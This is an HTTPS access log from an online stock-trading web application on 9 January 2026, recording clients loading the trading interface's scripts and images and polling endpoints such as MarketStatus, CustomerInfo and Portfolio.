[09/Jan/2026:11:47:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930721707 HTTP/1.1" -
[09/Jan/2026:11:47:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930722000 HTTP/1.1" -
[09/Jan/2026:11:47:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930722791 HTTP/1.1" -
[09/Jan/2026:11:47:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930722892 HTTP/1.1" -
[09/Jan/2026:11:47:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930722953 HTTP/1.1" -
[09/Jan/2026:11:47:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930725837 HTTP/1.1" -
[09/Jan/2026:11:47:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930726745 HTTP/1.1" -
[09/Jan/2026:11:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:11:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:11:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:11:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:11:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:11:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:11:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:11:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:11:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:11:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:11:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:11:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:11:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:11:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:11:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:11:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767930727705 HTTP/1.1" 3188
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 124
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:11:47:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930727854 HTTP/1.1" -
[09/Jan/2026:11:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:11:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:11:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:11:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:11:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:11:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:11:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 293
[09/Jan/2026:11:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:11:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:11:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:47:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930728060 HTTP/1.1" -
[09/Jan/2026:11:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:47:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930728022 HTTP/1.1" -
[09/Jan/2026:11:47:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 223
[09/Jan/2026:11:47:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:11:47:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:47:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:47:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:11:47:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:47:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:47:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930730563 HTTP/1.1" -
[09/Jan/2026:11:47:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1544
[09/Jan/2026:11:47:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930730894 HTTP/1.1" -
